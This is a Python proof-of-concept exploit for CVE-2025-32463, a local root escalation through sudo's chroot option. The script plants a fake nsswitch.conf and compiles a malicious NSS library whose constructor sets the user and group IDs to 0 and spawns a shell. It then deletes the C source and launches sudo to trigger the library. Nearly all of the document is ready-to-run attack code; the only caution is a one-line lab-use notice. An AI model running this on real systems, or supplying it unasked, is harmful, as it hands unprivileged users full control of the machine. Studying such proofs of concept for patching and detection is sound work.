import argparse import os import subprocess import shutil # Constants for the chroot environment and file paths CHROOT = "./chtoot" LIB_DIR = os.path.join(CHROOT, "lib") ETC_DIR = os.path.join(CHROOT, "etc") PAYLOAD_C = "payload.c" LIB_NAME = "libnss_Xfiles.so.2" PAYLOAD_SO = os.path.join(LIB_DIR, LIB_NAME) NSSWITCH = os.path.join(ETC_DIR, "nsswitch.conf") # Global verbosity flag VERBOSE = False def log(msg): if VERBOSE: print(msg) def setup_chroot(): print("[+] Setting up chroot directories...") os.makedirs(LIB_DIR, exist_ok=True) os.makedirs(ETC_DIR, exist_ok=True) log(f"[*] Created {LIB_DIR} and {ETC_DIR}") def write_nsswitch(): print("[+] Writing fake nsswitch.conf...") with open(NSSWITCH, "w") as f: f.write("passwd: Xfiles\n") f.write("group: files\n") f.write("shadow: files\n") log(f"[*] Written malicious nsswitch.conf to {NSSWITCH}") def write_payload(): print("[+] Writing payload source...") payload_code = r''' #include #include #include #include #include __attribute__((constructor)) void init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/sh"); } enum nss_status _nss_Xfiles_getpwnam_r(const char *name, struct passwd *pwd, char *buf, size_t buflen, int *errnop) { return NSS_STATUS_NOTFOUND; } ''' with open(PAYLOAD_C, "w") as f: f.write(payload_code) log(f"[*] Written C payload to {PAYLOAD_C}") def compile_payload(): print("[+] Compiling malicious libnss module...") subprocess.run([ "gcc", "-fPIC", "-shared", "-o", PAYLOAD_SO, PAYLOAD_C, "-nostartfiles" ], check=True) log(f"[*] Compiled shared object to {PAYLOAD_SO}") def cleanup(): print("[+] Cleaning up payload source...") if os.path.exists(PAYLOAD_C): os.remove(PAYLOAD_C) log(f"[*] Removed {PAYLOAD_C}") def run_exploit(): print("[+] Launching sudo with chroot to trigger exploit...") subprocess.run(["sudo", "-R", CHROOT, "id"]) def parse_args(): parser = argparse.ArgumentParser( description="PoC for CVE-2025-32463: Local privilege escalation via sudo --chroot", epilog="Use in lab environments only. Do not run on production systems." ) parser.add_argument( "-v", "--verbose", action="store_true", help="Enable verbose output for debugging and tracing" ) return parser.parse_args() def main(): global VERBOSE args = parse_args() VERBOSE = args.verbose setup_chroot() write_nsswitch() write_payload() compile_payload() cleanup() run_exploit() if __name__ == "__main__": main()